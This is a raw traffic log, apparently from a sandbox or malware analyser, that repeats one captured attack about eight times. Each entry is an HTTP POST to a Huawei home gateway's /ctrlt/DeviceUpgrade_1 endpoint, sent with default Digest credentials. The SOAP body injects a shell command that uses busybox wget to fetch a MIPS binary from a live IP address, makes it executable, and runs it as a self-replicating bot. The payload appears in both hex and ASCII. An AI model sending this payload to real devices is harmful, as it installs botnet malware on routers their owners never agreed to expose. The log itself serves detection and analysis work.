<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
